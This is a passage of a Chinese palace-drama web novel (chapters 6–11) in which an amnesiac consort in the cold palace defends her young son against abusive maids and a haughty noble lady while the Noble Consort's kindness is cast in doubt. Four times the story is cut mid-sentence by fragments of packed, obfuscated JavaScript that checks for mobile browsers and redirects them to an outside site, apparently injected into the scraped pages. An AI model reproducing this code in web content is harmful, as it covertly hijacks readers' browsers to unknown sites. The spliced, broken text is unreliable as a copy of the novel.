她是这些年唯一会来冷宫探望晋明鸢的外人,她每次来的时候都是珠围翠绕,云鬓高耸,就连身边带来的下人都好像能填满这方院子。 那女人的到来,是贺云瑄见过的最多的人,也是他见过的最大的排场。 贺云瑄到现在还记得自己第一次见她的时候,是心生彷徨的,可她却格外和善的拉着他的手:“你叫云瑄吧,莫怕,我与你母亲是姐妹,你可以换我一声清姨,我以后自会常来看你的,云瑄以后若有什么难处,都可以与清姨讲,清姨会照顾你。” 再后来,就是晋明鸢把她叫进了屋里,等到贵妃再出来的时候,又是和善的摸着他的脑袋:“云瑄,冷宫清苦,清姨知道你年龄小,又要长身子,给你母亲留下了许多补品,以后我们小云瑄就不用再受苦了。” 那时候,晋明鸢从不许他靠近,这个格外高贵的贵妃,却是贺云瑄所接触过的最温柔的女子。 贺云瑄对她的话从来深信不疑,只是他等呀等,盼呀盼,也没有等到晋明鸢拿出什么东西给他,甚至还不允许他靠近她的房间。 他听芙蕖和柳枝议论,说贵妃体恤姐妹,给晋明鸢带来了许多好东西,说晋明鸢不许他靠近她的房间,就是想独占贵妃带来的东西不分给他。 后来贵妃又来了几次,次次排场极大,每当贵妃走了,他总能听芙蕖和柳枝说,贵妃又给晋明鸢送来了什么。 久而久之,贺云瑄就对这样的说辞深信不疑。 在今日之前,他一直都以为晋明鸢铺的是绫罗绸缎,吃的是山珍海味,用的是琉璃金玉,他设想了无数次晋明鸢背着他享福的模样,却从没有设想过,有一种可能是她房里比自己房里还清贫。 可为什么会这样呢? 明明清姨姨亲口说… 就连芙蕖与柳枝也说见过清姨姨送来的东西,但那些东西到底去了哪里? 是清姨姨说谎了吗? 可她的一个贵妃,何至于大费周章来骗一个孩童? 贺云瑄脑子乱糟糟的,他在这件事里好像咂摸出了一些不同寻常的意味。 不过在事情还没有弄清楚之前,他不打算把自己的怀疑告诉晋明鸢,毕竟这女人自摔了脑袋起,举动实在过于不靠谱,且让人匪夷所思。 在一切真相大白前,贺云瑄觉得还是少告诉她一点为好。 晋明鸢不知道这短短的时间,贺云瑄心里已经有这么多弯弯绕绕。 对于贺云瑄口中所说的那贵妃,她也没掀起太多的波澜,她无所谓的摊摊手:“小瑄瑄,这人呀,总是捧高踩低的,就算之前是姐妹,如今我落魄成了这样,什么情谊也该消磨干净了,她不帮衬我也是人之常情。 你没必要在意这种事,放心好了,有娘在饿不到你的,娘会想办法让你过上好日子的。” 便是她什么都想不起来,只看这家徒四壁的模样,晋明鸢自觉的就没把贺云瑄口中那句她与贵妃是姐妹当回事。 至于那贵妃常来看她,晋明鸢不觉得一个高在云端的人会那么好心天天来探望自己这么个据说生了野种被皇帝厌弃的弃妃。 与其说她顾及姐妹情,晋明鸢倒觉得她更像故意提醒她们云泥殊路的区别。 第7章 晋明鸢她失忆了? 在晋明鸢与贺云瑄议论那位素未谋面的贵妃的时候,紫宸殿里,贵妃正低眉敛目的立在贺江灈的身边。 女子身上穿着一件湖蓝色的衣裙,发髻上只别了两枚玉簪,打扮的格外清雅素净,眉宇间还漾着浓烈的担忧之色:“陛下,您刚才说的是真的吗?姐姐她…” 贺江灈冰冷的目光扫过来,贵妃好像得到了确定,她身子摇晃了一下,声音里已经溢出了哽咽:“怎么会这样?姐姐怎么会过得这样清苦?明明这些年臣妾一直都有去冷宫看望姐姐的,就在两个月之前,臣妾还让人给姐姐送过衣物呢,陛下,臣妾…” “你的意思是,她故意装落魄陷害你?”贺江灈沉着脸,冷冰冰的一句话,直接让女子脸上的表情完全僵硬。 她红着眼睛,满脸不可置信的看着贺江灈,就像是听到了最不可思议的话一样。 贺江灈也在看她,但视线已经越渐冰冷。 若是之前听到贵妃说这样的话,他或许没什么反应,可今日… 想到那女人行事完全不带脑子的做派,贺江灈完全可以肯定,以现在的她,绝对做不出来陷害别人的事。 因为她没那样的脑子。 “臣妾…”贵妃忙不迭的摇头,“陛下误会臣妾了,臣妾没有那个意思,臣妾只是想不明白到底是哪里出了问题。 陛下您知道的,在这个宫里,最害怕姐姐过得不好的人就是臣妾了。 哎,说起来也怪臣妾疏忽,近来只顾着替陛下张罗秋猎的事,竟是忙的没有去看姐姐,此事是臣妾做的不好,辜负了陛下的信任,臣妾实在不配在代掌凤印,还请陛下收回臣妾的宫权吧。” 话到这里,贵妃又扭头看向了自己背后的宫女:“满春,去玉粹宫把凤印拿来。” “你这是做什么?”贺江灈拧眉问。 贵妃红着眼睛:“陛下,姐姐素来对臣妾亲如姐妹,臣妾入宫为妃,终究是愧对了姐姐的信任,如今姐姐更是因为臣妾的疏忽受了这样的委屈,臣妾自知有罪,还请陛下成全臣妾,就当是减轻臣妾心里的这份愧疚吧。” 她屈膝跪在了贺江灈的面前,身子匍匐在地上,模样谦卑到了极致。 从贺江灈的角度看过去,甚至还能看到她轻微颤抖的肩膀。 贺江灈起身,弯腰亲手把她扶了起来:“起来吧,当初让你入宫是朕的意思,更是你兄长的意思,与你无关,你亦没有什么对不起她的地方,这种话以后不用再说了,那凤印既是朕交给你掌管的,就是朕信得过你,你更不要再提什么归还。” 贵妃还是红着眼睛,她身子柔弱无骨的朝着贺江灈靠过来,但还没有碰到对方的肩膀,男人已经后退一步坐回了原来的位置,直接与她拉开了一大截距离。 贵妃抿着唇,在旁人看不见的地方,她藏在袖子里的指甲已经狠狠地嵌入了掌心。 但表面上,她依旧是那幅温柔的模样,她道:“陛下,那姐姐那边…” “你做事素来妥帖,如今出了这样的事,那冷宫里必是有欺上瞒下之辈,你去走一趟吧。”贺江灈说。 “臣妾知道了,陛下放心,臣妾会给姐姐一个公道的,眼下马上就要入冬了,云瑄年龄到底尚小,不如…” 贵妃的话都没有说完,立刻就收到了贺江灈如刀子一样的目光,她声音顿了顿,还想再说下去,张公公见状连忙叫道:“贵妃娘娘,陛下要休息了,奴才送您出去。” 贵妃又看了贺江灈一眼,这才慢悠悠地跟着赵公公出了门。 张公公环顾了一眼四周,见四下无人,这才稍稍靠近了贵妃些许,他颇为不赞同的道:“娘娘呀,您明知那位的孩子…如今陛下能留下那孩子的性命,已经是对那位的宽容了。 那样血脉不纯的孩子,有命活着就该感恩戴德了,您做什么在陛下面前提这些?” 贵妃眉眼间尽是怜悯,她重重的叹了口气:“不管怎么说,那也是姐姐的孩子呀,冷宫本就条件不好,这又快要入冬了,若是没两件保暖的衣裳,万一生了病,作难的还是姐姐,我也只是想…” “话虽是如此,可这事儿您可不要再在陛下面前提了,奴才们都知道您心善,可若是因此让陛下迁怒了您,就不好了。”张公公也是叹息一句,心里已经为面前这个柔弱的贵妃捏了一把汗。 今日在冷宫里,晋娘娘当着陛下的面与那小东西亲昵已经是触了陛下霉头,如今贵妃娘娘又这般为那小东西考虑,他都担心陛下一怒之下迁怒贵妃。 “张公公,您太紧张了,陛下没有那么小气的,这些年他不也容忍了云瑄吗?我觉得给云瑄添两件衣服,也没什么大不了的。 姐姐她…哎,不管如何,那孩子也实在是可怜,又是姐姐的骨肉,姐姐不能照料,我实在不忍心放任着不管。”贵妃说。 张公公又一次环顾四周,在开口的时候,他把声音压的更低了些:“哎哟,贵妃娘娘,您就听奴才一句劝吧,如今晋娘娘对那孩子宝贝的很,就算没有您,那孩子也饿不着冻不着的,您就别再让这浑水沾了您的脚了。” “宝贝?赵公公,你莫不是在唬我?姐姐之前对云瑄什么样,我看的一清二楚,她如今真能照顾云瑄?”贵妃问。 不知是有意还是无意,她语调里已经染了几分探究之色。 张公公说:“娘娘您有所不知,晋娘娘早上的时候不知什么缘故掉进了枯井,撞到了脑子好像什么都不记得了,陛下就是因此事回来的。 算了,这些都不重要,奴才也知道娘娘与那位关系好,只是…您也知道,这宫里不比别处,多少人对您的位置虎视眈眈,您还是别让那位的事牵连了自己,时候不早了,奴才得赶紧回去了。” 他躬身又冲着贵妃行了一理,这才转身回了紫宸殿,独留贵妃犹自愣在原地。 晋明鸢,她失忆了? 所以…陛下终究还是去冷宫看她了? 第8章 不能连累母亲 “娘娘,您没事吧?”满春见贵妃久久没有回神,小心翼翼的唤了她一声。 见贵妃还是一副神游天外的模样,满春挽住了她的胳膊,小声安抚道:“娘娘莫慌,陛下毕竟与她有多年的感情,如今听到她受伤的消息,过去看看也正常。 而且现在陛下愿意把这件事交给娘娘来查,就说明他最信任的依旧是娘娘您啊,娘娘莫要再为此事忧心了,您的地位没有人可以动摇的。” 贵妃慢悠悠的回神,她看着满春恭维的模样,脸色却冷了下来:“你胡说什么呢?如果姐姐与陛下能重归旧好,这贵妃的位置我要与不要又有什么区别呢?我只是有些担心姐姐罢了。” “对不起娘娘,是奴婢失言,那奴婢现在陪娘娘去冷宫看看?”满春道。 贵妃点了点头,她忽然偏头问:“满春,你说她是真失忆了,还是…” “奴婢也说不准,不过娘娘去看看就知道了。”满春说。 那位素来没有什么心眼,就算真的再假装失忆,那定是瞒不过熟悉她的人的眼睛。 贵妃点点头:“那快点走吧,都是我不好,竟是连姐姐出了这样大的事都不知情,我们赶紧去看看姐姐。” 在贵妃带着满春火急火燎的赶往冷宫的时候,冷宫里已经是一片兵荒马乱。 出去搬救兵的芙蕖和柳枝回来了。 带回来的却不是什么皇上,反而是一个打扮的很是张扬的女子,她们唤那女子欣贵人。 晋明鸢看到在这位欣贵人面前,这两位一改之前那副嚣张跋扈的模样,全程都点头哈腰的恭维着。 一行人来的时候,晋明鸢还在看着贺云瑄用饭。 这孩子年龄不大,但不知怎么,格外的多愁善感,就连吃饭时都皱着眉头的,一副深沉的模样。 晋明鸢兀自在心里发誓,一定得想办法改掉他这个毛病,小孩子就该有小孩子天真烂漫的样子,而不是像他这样总是老气横秋的。 绿衣柳枝先看到了桌上还没动过多少的饭菜,她脸色一下子就变了,手指着贺云瑄道:“你这个小野种,从哪里偷来的这么多的肉? 娘娘,这可不关我们的事呀,定是这小野种手脚不干净,就知道做些偷鸡摸狗的勾当,还请娘娘好好给她们个教训。” 芙蕖也对着欣贵人行了个礼:“娘娘,奴婢们也是没想到,只是离开了这么一会儿,就让这小野种做出了这般勾当。 小小年纪如此不识规矩,必是他那个娘亲没有教好,还请娘娘莫要因此迁怒奴婢。” 这两人问也不问,你一言我一语,就已经先把偷东西的罪名推到了贺云瑄身上。 “好啊,你个小野种,竟然还敢偷东西,真是一点规矩都没有,今日这事竟然被本宫撞上,本宫必须要好好教教你,来人,把他的手给本宫卸了,本宫看她以后还怎么偷东西。” 欣贵人双手环胸,一开口就是居高临下的味道,柳枝和芙蕖得了吩咐,幸灾乐祸的一笑,身子也稍微让开了一些,任由欣贵人的人朝着贺云瑄走去。 “我没有偷。”贺云瑄紧绷着一张小脸,闷闷的辩解一句。 欣贵人却是嗤笑一声:“没偷?那你倒是解释解释,这一桌吃的是哪里来的?你个小野种若非偷盗,谁会给你那么多的肉? 都愣着做什么?不用理会他,直接将他的手给本宫卸了,本宫看他还嘴硬不嘴硬。” 贺云瑄抿着唇,他依旧想反驳,可偏偏欣贵人的那个问题,却让他有些反驳不了。 是呀,若非偷盗,谁会给他这么多吃的? 虽然今日确实是那人提来的,可是… 贺云瑄偏头看了一眼晋明鸢的侧脸,他绝不能说。 且不说那个人身份不明,万一真是他父亲,一旦自己说了,那就是将娘亲也推到万劫不复的境地。 贺云瑄的沉默,直接就助长了芙蕖和柳枝的气焰,柳枝又讥笑道:“没话说了吧,小野种,偷盗还撒谎,像你这样的人就不配活在…啊!” 柳枝的话都没有说完,未尽的话语忽然转化成了一句尖叫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482354|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只听得砰的一声巨响,一个空了的盘子被晋明鸢抄起,砸在了柳枝的额头上,又坠到了地上,瞬间摔的四分五裂。 这一声巨响直接镇住了所有人,那向着贺云瑄逼近的两名宫女也止住了脚步,扭头请示欣贵人。 晋明鸢已经站了起来,她挡在了贺云瑄的面前:“都说够了没有?能安静了吗?谁给你们的胆子闯到我这儿来骂我儿子,还卸我儿子的手,你们问过我的意见了吗?” 她转头看向同样失神的欣贵人:“你算是什么东西,一个小小的贵人,谁给你那么大的权力一句话定人罪名,你配吗?” “我…你…小小贵人?你个疯妇,本宫就算只是个贵人,也比你这么个冷宫弃妇地位高,你少在这里装模作样,是陛下亲口下令,将你母子二人幽禁在此的,你儿子擅自出冷宫偷盗,难道不该罚吗? 陛下日理万机,没空理会你们,本宫也是按着陛下的意愿做事,你如此反抗,是在对陛下不满吗?”欣贵人嘴唇动了几次,才终于理顺了话头,语气也渐渐的变得镇定起来。 她盯着晋明鸢,试图通过对晋明鸢身份的贬低,来让晋明鸢低头,可下一刻,女子的讥笑声就直接捅破了她这份希冀。 晋明鸢说:“少往自己脸上贴金了,不挑破你,你还真当自己是个人物了? 那陛下有贵妃,有管事公公,哪轮得到你一个小小贵人替他来做决定? 不过就是想在拿我儿子来找优越感而已,别把自己说的那么伟大,信不信你再不滚,老娘先卸了你的手啊? 什么破烂玩意儿,当老娘是死的吗,什么东西都敢来欺负我儿子了? 说什么陛下的意愿,若是他的意愿能让你一个小小贵人随便参透,他这龙椅还是换人做好了。” 晋明鸢兀自絮絮叨叨,全然不管自己说了多么大逆不道的话。 而方才还气势汹汹的欣贵人,这会儿已经是目瞪口呆,但她很快就回过了神,尖声叫道:“疯了,这女人疯了,来人,赶紧把她的嘴给本宫堵住!” 第9章 你也配和贵妃比较? 欣贵人的两个下人在她的惊呼声里如梦初醒,两人再也不敢犹豫,抬脚就冲着晋明鸢扑了过来。 贺云瑄见状,连忙道:“这些都是我做的,与她无关,你们要罚就罚我,别动她。” 他的小手还揪着晋明鸢的袖口,因为用力的缘故,指甲都有些泛白,那双眼睛在看向欣贵人的时候,明显还带着胆怯。 但偏偏,维护晋明鸢的时候,他是一点犹豫也没有。 “吆,你这个小野种这是承认偷盗了?别着急,等本宫处置了这个不知天高地厚的女人,下个就轮到你了。”欣贵人说。 她根本就没有把贺云瑄的求情放在眼里,又或者说,冷宫里的这对母子,她都没有放在眼里。 贺云瑄听着她的话,一张小脸都泛了白,他小小的身子又想往晋明鸢身前挡,一只温柔的手忽然轻轻摸了摸他的脑袋,晋明鸢柔声道:“小瑄瑄别怕,娘给你出头。” 话音落下,她直接挽了袖子,顺手抄起了一个凳子:“堵老娘的嘴,处置老娘的儿子,谁给你们的胆子这么放肆?今日我就在这儿站着,看谁敢过来!” 紫檀木的凳子,就算再破旧,那重量也是实打实的,却在她手中像是孩童的玩物一般。 两名扑过来的宫女见到这一幕,几乎同一时间停住了脚步,目光闪烁间,甚至还不安的咽了咽唾沫。 她们毫不怀疑,那凳子若是冲着她们脑袋砸过来,定能让她们当场毙命。 “娘娘,这…”其中一名宫女怯怯的回头看了欣贵人一眼,退缩的意思几乎写在了脸上。 欣贵人则是依旧气势汹汹的想要呵斥晋明鸢,但在目光看向晋明鸢手中那凳子的时候,她忽然就有些泄气,嘴唇嗫嚅几下,竟是一句话也说不出来。 这女人… 今日到底怎么回事? 怎得这样一副无畏无惧的泼妇做派,她难道就不怕… 欣贵人的目光意味不明的看向了贺云瑄,她很快就给自己找到了发难的由头:“你…我劝你还是赶紧将那小野种交出来,他刚才可是亲口承认了,他偷盗在先,理应送到慎刑司好好教育一番,你若一味的维护他,小心…小心陛下知道了要你好看。” 最后一句话落下的时候,欣贵人的底气好像更足了几分,她叉着腰,倨傲的表情还没有在脸上酝酿完毕,下一刻她忽然就抱头尖叫起来,脸上血色尽褪,满目惶恐的盯着晋明鸢。 一把凳子就在她脚边砸的四分五裂,一根凳子腿已经崩落到了墙角。 哪怕一切都归于平静,可欣贵人的耳朵里,好像还在一遍遍地回荡着,那凳子落下来时发出的巨响,震得她的耳膜都在不停的嗡鸣颤动。 这…她…她竟然真敢砸! 就差一点,如果她用的力气稍微再大一点,欣贵人甚至毫不怀疑,那把紫檀木凳子能砸断她的腿骨。 回过神来的时候,欣贵人踉跄着,险些跌坐在地上,还是芙蕖先反应过来,扶住了她的胳膊,才没有让她就这么跌倒。 而柳枝则是怒道:“你…你竟然真敢砸,你知不知道你眼前的是谁?万一伤了娘娘身体,你担待的起吗?你真是该庆幸没砸到娘娘。” 柳枝自己同样冷汗连连,在看向晋明鸢的时候,就像是在看一个不可理喻的疯子。 晋明鸢倒是满脸无所谓,还对着柳枝浑不在意的摆了摆手:“庆幸?呵,你真以为我砸不准啊,刚才不过是给你们一点儿警告,今日我把话撂在这里,若是谁再在我面前唤我儿子野种,我保证我手里的凳子砸的必是她的脑袋。” 她一双眼睛对着柳枝扫过来,柳枝只觉得自己的肩胛都在隐隐作痛。 方才的烧火棍,还有这次的椅子,不论哪个,都是她不想招架的。 柳枝沉默了。 晋明鸢的视线又落在了欣贵人身上,她说:“你,贵人是吧?就你这样的身份还没资格对我指手划脚,我不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482355|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之前到底如何来我跟前找优越感,但从现在开始,你给我记住了,我就算住在冷宫里,那也是与陛下正经拜过堂的夫妻,莫说是你,就是贵妃在我跟前也是个妾,我说的够明白了吗?知道以后见了我该以什么态度面对了吗?” 她双手环胸,抬脚一步步朝着欣贵人的方向走来。 明明身上穿着再朴素不过的绛色裙衫,就连头发也只是用简单的发带挽起,瞧着没有一点贵气,偏偏在她走来的时候,欣贵人莫名就有些喘不过气来。 她的五官都古怪的扭曲在了一起,在看向晋明鸢的时候,脸色更是一言难尽的僵硬,就像是听到了天大的笑话,想笑又不敢笑。 她说什么? 一个早就被陛下丢到冷宫的弃妇,竟然敢妄言贵妃在她面前是妾,她哪来的这份胆量与自信? 晋明鸢根本不管欣贵人的震惊,她以一种咄咄逼人的语调道:“我与你说话你是听不到吗?说话,以后再见了我,可懂得客客气气的说话?” “你…你别太自以为是了,你已经在冷宫了,陛下厌你厌到连看都不想看你,真不知道你哪里来的自信,还敢与贵妃作比,你…” “看来欣贵人还是不够聪明,没关系,我有的是时间慢慢教你学聪明。” 晋明鸢直接开口,打断了欣贵人紧张不已的话。 她的手又按在了另一把尚还完整的椅子上,现下她的距离已经与欣贵人极近了,欣贵人甚至觉得,她只要稍微用力,那凳子就能冲着自己的头抄过来。 欣贵人这回是真的慌了神,双腿一软,竟是直接对着晋明鸢跪了下来,她带来的那些下人更是七零八落的跪做了一团。 晋明鸢伸手,动作似有些温柔的按在了欣贵人的头顶,就像是在抚摸一只宠物,她说:“这样就对了呀,我可是陛下登基之前明媒正娶的夫人,就算现在住在冷宫,陛下没给我休书,没提我位分,那我就依旧是他正妻,懂了吗?” 第10章 我失忆与你何干 欣贵人瑟缩着。 她能感觉到自己头顶那只手所带来的温度,温暖的,和的,可却令她浑身都颤栗不止。 这女人太不按常理出牌了,也太疯了,就算自己带来了很多人,但欣贵人也知道,若是是这女人再抄起把椅子来,她的那些人是绝对不敢上前的。 知道眼下只能先按着晋明鸢的话说才能保全自己,欣贵人正要应声,就听外面忽然传来一声尖锐的声音:“贵妃驾到。” 脸上的惶恐之色在一瞬间退散,欣贵人觉得自己悬着的那颗心都落到了实处,她忙不迭的就朝着门口看了过去。 即便晋明鸢方才说的那话不无道理,可对欣贵人来说,对一个冷宫的弃妇低眉颔首,无异于是一种侮辱。 方才迫于晋明鸢的压力慌乱跪下的芙蕖和柳枝,这次听到贵妃来的消息,脸上也同样露出了几分喜色。 两人看着穿着湖蓝色裙子的女子,逆着光走来的那一刻,就好像看到了救星一样,连连磕头道:“贵妃娘娘,您终于来了,您一定要为奴婢,为欣贵人做主呀。” 所有人的目光都被迎面走来的贵妃吸引,晋明鸢也不例外。 她同样盯着那迎面而来的女子,对方生了幅清丽婉约的模样,湖蓝色的宫装将她那张脸衬得无比秀丽干净。 她生得瘦削,整个人看上去就像是那春日里摇曳的弱柳,随便来阵狂风都能将她吹倒一样。 柔弱好看,大概是此刻晋明鸢对这位贵妃所有的印象了。 她看着贵妃失神的空档,贵妃已经踏过了门槛,一双美眸将面前的一切环顾一圈,视线在晋明鸢身上定格。 她几乎是有些急切的走到了晋明鸢的身边,伸手就挽住了晋明鸢的胳膊:“姐姐,你没事吧?这到底是怎么回事?这凳子盘子怎么都碎了,快给我看看,没有伤到你吧?” 她攥着晋明鸢的手,就是好一番打量,眼里的关切几乎要溢出来。 在确定晋明鸢没有受伤之后,她又转而望向了贺云瑄:“云瑄,你有没有事?快给姨姨看看。” 话说着,她就弯腰过来,想要拉贺云瑄的手。 贺云瑄一双黑葡萄一样的眼睛瞪得大大的,还没有等贵妃碰到他,他就侧了侧身子,小跑着到了晋明鸢身边,手揪着晋明鸢袖子的衣角,眼睛里还能看出些许的警惕。 贵妃对他,还是一如既往的温柔。 对晋明鸢也是无比的关切。 若是以往,贺云瑄会很感激贵妃不嫌弃自己,可现在… 看着晋明鸢这过分空荡的房间,贺云瑄总觉得贵妃带来的关心让他有些不适。 因着贺云瑄的躲避,贵妃一只手就这样僵在了半空中,她有些错愕的看向了贺云瑄的方向,目光在贺云瑄捏着晋明鸢袖口的那只手上定格。 她好像短暂的愣了一下,这才对着晋明鸢露出了一个笑脸,她说:“姐姐,我听陛下说,你受了伤,这到底是怎么回事?现在可好些了?还有没有哪里不舒服?我这次带了太医过来,先给姐姐把把脉吧。” 她因为贺云瑄的抗拒失神就好像是一瞬间的事,目光收回来的那一刻,所有的注意力就都放在了晋明鸢身上。 她招了招手,立刻就有一个年过半百的老者走了过来给晋明鸢把脉。 晋明鸢始终看着她,在这位贵妃脸上,出了温婉的笑以外,她好像再也找不到别的表情。 贵妃注意到晋明鸢的目光,她伸手摸了摸自己的脸,有些疑惑道:“姐姐为什么这么看着我?是我脸上沾了什么东西吗?还是姐姐在怨我来晚了? 我不是故意不来看姐姐的,实在是这段时日陛下秋猎,宫中大小事务实在繁多,我抽身乏术这才… 姐姐不要因此怪阿吟好不好?” 贵妃一连问了好几个问题,都没有给晋明鸢回答的机会,她就又自说自话的解释起来,手也是把晋明鸢的手攥的更紧几分,脸上的愧疚几乎要溢出来。 晋明鸢还是没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482356|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,贵妃又叹了口气:“说到底,还是怪阿吟不争气,陛下让阿吟代掌凤印,阿吟却没有姐姐的魄力,这么久以来,还是没办法把事情处理的样样妥帖,也亏的陛下看在姐姐与兄长的份上没有责怪阿吟,不然阿吟都不知道该怎么办才好了。” 她挽着晋明鸢的胳膊,脑袋已经顺势靠在了晋明鸢的肩头,就像是一个依赖姐姐的小姑娘。 她一双眼睛略微抬起,正好看着晋明鸢的侧脸,就好像要窥透晋明鸢的内心一样。 晋明鸢兀自听她说了许多,她能听得出来,她表面上虽是自责,可话里话外都是在说陛下对她的偏待。 可是那些与自己又有什么关系呢?她根本就不记得贵妃口中的陛下到底是何方神圣。 晋明鸢任由贵妃靠着,整个人就像是一个木偶一样,她不记得贵妃,不知对方的用意,也说不出什么安慰的话。 又或者她本就不是会安慰人的性格。 长久的沉默,贵妃好像也感觉到了自说自话的尴尬,她看向了太医,又急切道:“怎么样了?姐姐的身体可有碍?” 太医摇了摇头:“贵妃娘娘,晋娘娘一切安好,只是额头上有淤青,不是什么打紧的事,敷点药过几日就好了。” 贵妃道:“你确定吗?陛下说姐姐失忆了,这又是怎么回事?对身体可有碍?姐姐的记忆还能恢复吗?” “失忆?”太医惊讶的重复一遍,他又重新给晋明鸢把了把脉,还是摇头,“这…晋娘娘身子确实无碍,至于贵妃娘娘说的失忆,大概是因为撞击所致,这能不能恢复记忆,老臣也没办法保证。” 贵妃的脸上渐渐的被忧愁占据,她没再理会太医,柔弱无比的喃喃道:“姐姐,你怎么这么命苦呢?这好端端的,怎么还失忆了,你让阿吟以后怎么办?” 话说着,她一双眼里已经沾染了湿意。 晋明鸢瞧着她那副柔弱无助的模样,语调略有僵硬:“你哭什么?我失忆与你何干?” 第11章 你得对贵妃客气点 “我…”贵妃嘴唇微动,她甚至怀疑自己是不是听错了? 她从来没有听过晋明鸢用这样的语气与她说话,晋明渊脾气不好,也不好惹,这些她都知道的,可在这过往十多年里,晋明鸢的棱角利刃全都不是对着她的。 从认识的那日起,她就没有对她说过一句重话。 稍微的怔愣之后,贵妃很快又抹了抹眼睛,她哽咽着继续道:“姐姐,阿吟哭是因为阿吟心疼姐姐,姐姐这些年在冷宫本就过得小心,如今…如今又失了忆,这以后的日子该怎么过才好啊。 还有云瑄,没有记忆,姐姐又如何护得住云瑄呀。” 她怜悯的目光洒落下来,正落在贺云瑄的头顶。 晋明鸢这回也低头去看贺云瑄,不知听到了哪句话,贺云瑄的一张小脸苍白了几分,目光与晋明鸢对视上的时候,他忽然冲着贵妃道:“清姨姨,你…你不用那么担心的,她现在就很好,云瑄…云瑄不用她护,云瑄也可以照顾她的。” 他的眼皮略微垂下来,遮掩住了眼睛里的仓皇,甚至是愧疚。 贺云瑄知道,平白无故丧失了记忆,她未必像表面上表现出来的那么平静。 这个世界上应该没有人会喜欢大脑之中一片空白的感觉,她应该也是想找回记忆的。 自己作为她的儿子,也应该希望她好的。 可是… 如果她有了记忆,那么她就又会恢复成曾经那一副清冷如孤月的模样,她就不许他靠近,不许他触碰,他就又没有母亲了。 想到这里,贺云瑄的手顺着晋明鸢的袖口略微下移,缓缓的攥住了她的手指,他的眼睛在抬起来的时候,就是有些警惕的盯着那太医。 确切的说是盯着太医手中的药箱。 晋明鸢能明显的感觉到贺云瑄指尖的颤抖,还有他手上冰凉的温度。 她一下子就想到了自己刚醒来时,贺云瑄面对她时是那副警惕的模样。 没有一个孩子在自己母亲面前是小心翼翼的,除非曾经的她确实对贺云瑄很差,对方害怕她恢复记忆。 一想到这个可能,晋明鸢的心脏都带着一股控制不住的钝痛,她的手略微的收紧,将贺云瑄的手紧紧的攥住,这才看向了贵妃:“我挺好的,不用你心疼,我只是失忆了,又不是残废了,怎么就保护不好我们云瑄了?倒是你,来我这里做什么?也和她们一样才找我麻烦?” 她目光扫过来,立刻就让尚还跪着的欣贵人打了个激灵。 贵妃的表情同样又一次僵硬,她再一次震惊的看向了晋明鸢的脸,很快就摇头:“姐姐怎么能这么误会阿吟呢?阿吟心疼姐姐都来不及呢,怎么会找姐姐的麻烦? 对了,方才只顾着关心姐姐,倒是忘了问姐姐,这是发生了什么?欣贵人怎么会在这里?还有姐姐这屋里… 我不是月月都遣人来给姐姐送东西吗?姐姐这房里怎么如此清苦?” 贵妃一连抛了许多问题出来,手依旧是亲密的挽着晋明鸢另一边的胳膊,脸上的震惊越来越明显,全然就是一副六神无主的模样。 这就是协理六宫的贵妃? 柔弱不能自理,甚至一点主见都没有? 晋明鸢略微侧目,目光在她那几乎要哭出来的脸上扫过,她道:“你问我呀?我失忆了,哪知道呢?倒是贵妃,你口口声声说心疼我,就是用嘴心疼的呀,你说你月月送东西来,我这屋子破烂成这样,我可是什么都没见过,谁能为你证明啊?” 她满不在乎的说完贵妃之后,又弯腰摸了摸贺云瑄的脑袋,“你口口声声叫我姐姐,口口声声说心疼云瑄,这云瑄日日吃不饱穿不暖,倒也没见你表示什么,贵妃的心疼就是用嘴啊?” 晋明鸢话说的过分直白,且带着一股理直气壮的意味,贵妃这一次好似被堵得哑口无言。 她背后的满春同样皱着眉:“晋娘娘,贵妃日日都关心您,这得知了您失忆的消息,立刻马不停蹄的赶了过来,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482357|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么能这么与贵妃说话,这不是糟蹋了我们贵妃一片好心吗?” “关心我?我失忆了,之前与贵妃什么关系倒是不记得了,不过自从我睁开眼睛看到的就是这家徒四壁的房子,瘦弱不堪的儿子,欺上瞒下的刁仆,高高在上的贵人。 